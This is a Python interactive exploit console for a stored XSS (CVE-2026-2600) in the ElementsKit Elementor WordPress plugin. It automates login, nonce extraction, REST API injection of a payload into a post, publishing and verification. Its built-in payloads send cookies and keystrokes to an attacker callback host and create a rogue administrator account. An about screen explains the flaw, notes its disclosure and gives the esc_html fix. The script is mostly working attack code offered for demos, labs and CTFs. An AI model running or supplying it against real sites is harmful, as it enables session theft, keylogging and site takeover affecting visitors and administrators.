README.md
Rendering markdown...
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-2600 - ElementsKit Stored XSS - Interactive Console
Author : Alaaeddine Knani (@iwd) - Offensive Security Engineer @ ODDO BHF
A menu-driven terminal console for exploiting CVE-2026-2600.
Lets you authenticate, choose a payload, inject, publish, and verify
step by step - useful for demos, labs, and CTFs.
Usage:
python console_poc.py
"""
import json
import os
import re
import sys
import time
import uuid
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# Force UTF-8 on Windows terminals
if sys.stdout.encoding and sys.stdout.encoding.lower() != 'utf-8':
try:
sys.stdout.reconfigure(encoding='utf-8')
except AttributeError:
pass
# ─── Terminal colours & helpers ────────────────────────────────────────────────
R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
B = "\033[94m"
M = "\033[95m"
C = "\033[96m"
W = "\033[97m"
DIM = "\033[2m"
RST = "\033[0m"
BOLD= "\033[1m"
def cls():
os.system("cls" if os.name == "nt" else "clear")
def pause():
input(f"\n {DIM}Press ENTER to continue ...{RST}")
def hr(char="─", width=62):
print(f" {DIM}{char * width}{RST}")
def header(title: str):
cls()
hr("═")
print(f"\n {BOLD}{W}CVE-2026-2600{RST} {DIM}|{RST} {C}{title}{RST}\n")
hr()
print()
def banner():
cls()
print(f"""
{R} +----------------------------------------------------------+{RST}
{R} | {W}{BOLD}CVE-2026-2600 - ElementsKit Stored XSS Console{RST}{R} |{RST}
{R} +----------------------------------------------------------+{RST}
{Y} | Plugin : ElementsKit Elementor Addons <= 3.7.9 |{RST}
{Y} | Widget : Simple Tab (ekit-tab) |{RST}
{Y} | Type : Stored XSS via REST API bypass |{RST}
{G} | CVSS : 6.4 MEDIUM | Role: Contributor+ |{RST}
{DIM} | Author : Alaaeddine Knani (@iwd) - ODDO BHF |{RST}
{R} +----------------------------------------------------------+{RST}
""")
def log(msg): print(f" {B}[*]{RST} {msg}")
def ok(msg): print(f" {G}[+]{RST} {BOLD}{msg}{RST}")
def warn(msg): print(f" {Y}[!]{RST} {msg}")
def fail(msg): print(f" {R}[-]{RST} {msg}")
def step(n, msg): print(f"\n {C}[{n}]{RST} {W}{msg}{RST}")
# ─── Elementor data builder ────────────────────────────────────────────────────
def build_elementor_data(xss_payload: str) -> list:
def uid() -> str:
return uuid.uuid4().hex[:6]
return [
{
"id": uid(),
"elType": "section",
"isInner": False,
"settings": {},
"elements": [
{
"id": uid(),
"elType": "column",
"settings": {"_column_size": 100},
"elements": [
{
"id": uid(),
"elType": "widget",
"widgetType": "elementskit-simple-tab",
"settings": {
"ekit_tab_items": [
{
"_id": uid(),
"ekit_tab_title": xss_payload,
"ekit_tab_content": "<p>Content</p>",
"tab_id": "tab-1",
},
{
"_id": uid(),
"ekit_tab_title": "Tab 2",
"ekit_tab_content": "<p>More content</p>",
"tab_id": "tab-2",
},
],
"ekit_tab_active_index": 0,
},
}
],
}
],
}
]
# ─── Exploit state ─────────────────────────────────────────────────────────────
class ExploitState:
def __init__(self):
self.target = ""
self.username = ""
self.password = ""
self.callback = ""
self.payload = ""
self.nonce = ""
self.post_id = None
self.post_url = ""
self.session = requests.Session()
self.session.headers.update({"User-Agent": "Mozilla/5.0 (X11; Linux x86_64)"})
self.session.verify = True
self.authenticated = False
self.injected = False
self.published = False
def status_line(self):
parts = []
if self.target:
parts.append(f"{DIM}target:{RST} {C}{self.target}{RST}")
if self.authenticated:
parts.append(f"{G}✓ auth{RST}")
if self.post_id:
parts.append(f"{G}✓ post #{self.post_id}{RST}")
if self.injected:
parts.append(f"{R}✓ injected{RST}")
if self.published:
parts.append(f"{Y}✓ published{RST}")
return " " + " | ".join(parts) if parts else ""
S = ExploitState()
BUILTIN_PAYLOADS = {
"1": ("Cookie Exfiltration",
lambda: f'<img src=x onerror="fetch(\'{S.callback}?c=\'+btoa(document.cookie))">'),
"2": ("Alert PoC (safe demo)",
lambda: '<img src=x onerror="alert(\'XSS: CVE-2026-2600 by @iwd\')">'),
"3": ("Keylogger",
lambda: f'<script>document.addEventListener("keypress",e=>new Image().src="{S.callback}/k?c="+e.key)</script>'),
"4": ("Admin account creation",
lambda: (
"<script>fetch('/wp-admin/user-new.php').then(r=>r.text()).then(h=>{"
"const n=h.match(/_wpnonce_create-user\" value=\"([^\"]+)/)[1];"
"fetch('/wp-admin/user-new.php',{method:'POST',"
"body:new URLSearchParams({action:'createuser',user_login:'hax0r',"
f"email:'hax@{S.target.split('//')[-1].split('/')[0]}',"
"pass1:'H4x0r!Q1',pass2:'H4x0r!Q1',role:'administrator',"
"'_wpnonce_create-user':n}),headers:{'Content-Type':'application/x-www-form-urlencoded'}});"
"});</script>"
)),
"5": ("Full redirect",
lambda: f'<script>document.location="{S.callback}"</script>'),
"6": ("Custom payload", None),
}
# ─── Screen modules ────────────────────────────────────────────────────────────
def screen_configure():
header("Configure Target")
print(f" {DIM}Leave blank to keep current value.{RST}\n")
def ask(prompt, current, secret=False):
suffix = f" {DIM}[{current if not secret else '****'}]{RST}" if current else ""
val = input(f" {W}{prompt}{suffix}: {RST}").strip()
return val if val else current
S.target = ask("Target URL (https://victim.com)", S.target).rstrip("/")
S.username = ask("Username", S.username)
S.password = ask("Password", S.password, secret=True)
S.callback = ask("Callback URL (attacker server)", S.callback or "https://attacker.example.com")
print()
ok("Configuration saved")
pause()
def screen_authenticate():
header("Step 1 - Authenticate")
if not S.target or not S.username or not S.password:
warn("Configure target first (option 1)")
pause()
return
log(f"Logging in as {W}{S.username}{RST} to {C}{S.target}{RST} ...")
try:
resp = S.session.post(
f"{S.target}/wp-login.php",
data={
"log": S.username, "pwd": S.password,
"wp-submit": "Log In", "redirect_to": "/wp-admin/",
"testcookie": "1",
},
cookies={"wordpress_test_cookie": "WP+Cookie+check"},
allow_redirects=True, timeout=20,
)
except requests.RequestException as exc:
fail(f"Request failed: {exc}")
pause()
return
if not any("wordpress_logged_in" in c.name for c in S.session.cookies):
fail("Login failed - bad credentials or login protection active")
pause()
return
S.authenticated = True
ok("Authenticated - session cookie stored")
# Immediately grab nonce too
log("Extracting REST nonce ...")
try:
html = S.session.get(f"{S.target}/wp-admin/post-new.php", timeout=20).text
for pat in [r'"nonce"\s*:\s*"([a-f0-9]{10,})"', r'"rest_nonce"\s*:\s*"([^"]+)"']:
m = re.search(pat, html)
if m:
S.nonce = m.group(1)
ok(f"REST nonce: {C}{S.nonce}{RST}")
break
if not S.nonce:
warn("Could not auto-extract nonce - set manually if needed")
except requests.RequestException:
warn("Could not load post editor to extract nonce")
pause()
def screen_choose_payload():
header("Step 2 - Choose Payload")
print(f" {'#':<4} {'Payload Type':<34} {'Description'}")
hr()
for k, (name, _) in BUILTIN_PAYLOADS.items():
marker = f"{G}●{RST}" if S.payload and S.payload.startswith(str(k)) else " "
print(f" {marker} {k:<3} {name}")
print()
choice = input(f" {W}Choose payload [1-6]: {RST}").strip()
if choice not in BUILTIN_PAYLOADS:
warn("Invalid choice")
pause()
return
name, builder = BUILTIN_PAYLOADS[choice]
if choice == "6" or builder is None:
print(f"\n {DIM}Enter your custom HTML/JS payload:{RST}")
custom = input(f" {W}> {RST}").strip()
if not custom:
warn("Empty payload - cancelled")
pause()
return
S.payload = custom
else:
S.payload = builder()
print()
ok(f"Payload selected: {Y}{name}{RST}")
print(f" {DIM}Preview: {R}{S.payload[:120]}{'...' if len(S.payload)>120 else ''}{RST}")
pause()
def screen_create_post():
header("Step 3 - Create Draft Post")
if not S.authenticated:
warn("Authenticate first (option 2)")
pause()
return
if not S.nonce:
warn("No REST nonce available - authenticate again")
pause()
return
title = input(f" {W}Post title {DIM}[Security Research]{RST}{W}: {RST}").strip() or "Security Research"
log(f"Creating draft post titled {W}{title!r}{RST} ...")
try:
r = S.session.post(
f"{S.target}/wp-json/wp/v2/posts",
headers={"X-WP-Nonce": S.nonce, "Content-Type": "application/json"},
json={"title": title, "status": "draft", "content": ""},
timeout=20,
)
r.raise_for_status()
except requests.RequestException as exc:
fail(f"Failed: {exc}")
pause()
return
S.post_id = r.json().get("id")
if not S.post_id:
fail("No post ID in response - check permissions")
pause()
return
ok(f"Draft created → post ID {Y}{S.post_id}{RST}")
ok(f"Edit URL: {C}{S.target}/wp-admin/post.php?post={S.post_id}&action=edit{RST}")
pause()
def screen_inject():
header("Step 4 - Inject Payload")
if not S.post_id:
warn("Create a post first (option 3)")
pause()
return
if not S.payload:
warn("Choose a payload first (option 2)")
pause()
return
print(f" {DIM}Sending PATCH to /wp-json/wp/v2/posts/{S.post_id}{RST}")
print(f" {DIM}This bypasses Elementor's client-side sanitization.{RST}\n")
log("Injecting into _elementor_data via REST API ...")
print(f" {DIM}Payload: {R}{S.payload[:100]}{'...' if len(S.payload)>100 else ''}{RST}")
print()
elementor_data = build_elementor_data(S.payload)
try:
r = S.session.patch(
f"{S.target}/wp-json/wp/v2/posts/{S.post_id}",
headers={"X-WP-Nonce": S.nonce, "Content-Type": "application/json"},
json={
"meta": {
"_elementor_data": json.dumps(elementor_data),
"_elementor_edit_mode": "builder",
}
},
timeout=20,
)
r.raise_for_status()
except requests.RequestException as exc:
fail(f"PATCH failed: {exc}")
pause()
return
stored = r.json().get("meta", {}).get("_elementor_data", "")
if S.payload in stored or S.payload.replace('"', '\\"') in stored:
S.injected = True
ok(f"{G}{BOLD}Payload stored in database - confirmed!{RST}")
print(f"\n {DIM}The payload will execute for every visitor when the page loads.{RST}")
else:
warn("Payload not visible in response (meta may be restricted) - likely stored anyway")
S.injected = True
pause()
def screen_publish():
header("Step 5 - Publish Post")
if not S.post_id:
warn("Create a post first (option 3)")
pause()
return
if not S.injected:
warn("Inject payload first (option 4)")
confirm = input(f" {Y}Publish anyway? [y/N]: {RST}").strip().lower()
if confirm != "y":
return
log(f"Publishing post #{S.post_id} ...")
try:
r = S.session.post(
f"{S.target}/wp-json/wp/v2/posts/{S.post_id}",
headers={"X-WP-Nonce": S.nonce, "Content-Type": "application/json"},
json={"status": "publish"},
timeout=20,
)
r.raise_for_status()
except requests.RequestException as exc:
fail(f"Failed to publish: {exc}")
pause()
return
S.post_url = r.json().get("link", f"{S.target}/?p={S.post_id}")
S.published = True
ok(f"Post published → {C}{S.post_url}{RST}")
print(f"\n {Y}Note:{RST} On many sites Contributors submit for review.")
print(f" {DIM}The payload fires even while the post is pending review{RST}")
print(f" {DIM}(when an editor opens the preview link).{RST}")
pause()
def screen_verify():
header("Step 6 - Verify Payload")
url = S.post_url or (f"{S.target}/?p={S.post_id}" if S.post_id else "")
if not url:
warn("No post URL - publish first (option 5)")
pause()
return
custom_url = input(f" {W}URL to verify {DIM}[{url}]{RST}{W}: {RST}").strip()
if custom_url:
url = custom_url
log(f"Fetching {url} ...")
try:
html = requests.get(url, verify=S.session.verify, timeout=20).text
except requests.RequestException as exc:
fail(f"Could not fetch page: {exc}")
pause()
return
marker = "onerror" if "onerror" in (S.payload or "") else "script"
if marker in html:
ok(f"{G}{BOLD}CONFIRMED: Payload is live in page source!{RST}")
print(f"\n {DIM}Found marker: {R}'{marker}'{RST}")
# Show surrounding context
idx = html.find(marker)
snippet = html[max(0, idx-40):idx+80].replace("\n", " ")
print(f" {DIM}Context: ...{R}{snippet}{RST}...{RST}")
else:
warn(f"Marker '{marker}' not found - post may still be pending review")
print(f" {DIM}Try browsing to the URL manually or check draft preview.{RST}")
pause()
def screen_full_auto():
header("Full Auto - Run All Steps")
if not S.target:
warn("Configure target first (option 1)")
pause()
return
if not S.payload:
warn("Choose a payload first (option 2)")
pause()
return
confirm = input(
f" {Y}This will authenticate, create a post, inject, and publish on{RST}\n"
f" {C}{S.target}{RST}\n\n"
f" {W}Continue? [y/N]: {RST}"
).strip().lower()
if confirm != "y":
print(f" {DIM}Aborted.{RST}")
pause()
return
print()
steps = [
("Authenticating", screen_authenticate),
("Creating draft post", screen_create_post),
("Injecting payload", screen_inject),
("Publishing", screen_publish),
("Verifying", screen_verify),
]
for name, fn in steps:
step("→", name)
fn()
if "authenticate" in name.lower() and not S.authenticated:
fail("Cannot continue - authentication failed")
return
print()
hr("═")
ok(f"Full chain complete!")
print(f" {DIM}Infected URL : {C}{S.post_url or S.target+'/?p='+str(S.post_id)}{RST}")
print(f" {DIM}Callback URL : {C}{S.callback}{RST}")
print(f" {DIM}Payload fires for every visitor - including admins.{RST}")
hr("═")
pause()
def screen_show_status():
header("Current State")
print(f" {'Target':<18} {C}{S.target or '(not set)'}{RST}")
print(f" {'Username':<18} {W}{S.username or '(not set)'}{RST}")
print(f" {'Callback URL':<18} {C}{S.callback or '(not set)'}{RST}")
print(f" {'Authenticated':<18} {(G+'✓ yes' if S.authenticated else R+'✗ no')}{RST}")
print(f" {'REST Nonce':<18} {(C+S.nonce if S.nonce else DIM+'(none)')}{RST}")
print(f" {'Post ID':<18} {(Y+str(S.post_id) if S.post_id else DIM+'(none)')}{RST}")
print(f" {'Injected':<18} {(G+'✓ yes' if S.injected else DIM+'no')}{RST}")
print(f" {'Published':<18} {(G+'✓ yes' if S.published else DIM+'no')}{RST}")
print(f" {'Post URL':<18} {(C+S.post_url if S.post_url else DIM+'(none)')}{RST}")
if S.payload:
print(f"\n {'Payload':<18} {R}{S.payload[:80]}{'...' if len(S.payload)>80 else ''}{RST}")
pause()
def screen_about():
header("About / Help")
print(f"""
{W}{BOLD}CVE-2026-2600{RST} - Stored XSS in ElementsKit Elementor Addons
{DIM}Affected :{RST} ElementsKit Elementor Addons <= 3.7.9
{DIM}Widget :{RST} Simple Tab (ekit-tab)
{DIM}CVSS :{RST} 6.4 MEDIUM
{DIM}Required :{RST} Contributor role (edit_posts capability)
{DIM}Author :{RST} Alaaeddine Knani (@iwd) - ODDO BHF
{C}How it works:{RST}
The ekit-tab widget's render() function outputs the tab title field
without esc_html(). Elementor's UI strips dangerous tags client-side,
but the WordPress REST API accepts raw JSON in _elementor_data and
stores it verbatim. Any Contributor can PATCH a post's meta via:
{DIM}PATCH /wp-json/wp/v2/posts/{{id}} HTTP/1.1{RST}
{DIM}X-WP-Nonce: <nonce>{RST}
{DIM}{{"meta": {{"_elementor_data": "...<XSS>..."}}}}{RST}
{C}Responsible disclosure:{RST}
Reported to Patchstack Alliance. Patched in a subsequent release.
All testing done on isolated local @wordpress/env instances.
{C}Fix:{RST}
Replace: {R}echo $item['ekit_tab_title'];{RST}
With: {G}echo esc_html( $item['ekit_tab_title'] );{RST}
""")
pause()
# ─── Main menu ─────────────────────────────────────────────────────────────────
MENU = [
("1", "Configure target / credentials", screen_configure),
("2", "Choose XSS payload", screen_choose_payload),
("3", "Create draft post (Step 1)", screen_create_post),
("4", "Inject payload via REST API (Step 2)", screen_inject),
("5", "Publish the post (Step 3)", screen_publish),
("6", "Verify payload in page source", screen_verify),
("7", "Authenticate only", screen_authenticate),
("8", "Full auto (steps 1–5)", screen_full_auto),
("9", "Show current state", screen_show_status),
("a", "About / Help", screen_about),
("q", "Quit", None),
]
def main_menu():
while True:
banner()
status = S.status_line()
if status:
print(status)
print()
hr()
for key, label, _ in MENU:
if key == "q":
hr()
marker = f" {G}●{RST}" if (
(key == "1" and S.target) or
(key == "2" and S.payload) or
(key == "3" and S.post_id) or
(key == "4" and S.injected) or
(key == "5" and S.published)
) else " "
print(f"{marker} {Y}[{key}]{RST} {label}")
print()
choice = input(f" {W}→ {RST}").strip().lower()
for key, _, handler in MENU:
if choice == key:
if handler is None:
cls()
print(f"\n {DIM}Goodbye.{RST}\n")
sys.exit(0)
handler()
break
else:
warn("Unknown option")
time.sleep(0.8)
if __name__ == "__main__":
try:
main_menu()
except KeyboardInterrupt:
print(f"\n\n {DIM}Interrupted. Goodbye.{RST}\n")
sys.exit(0)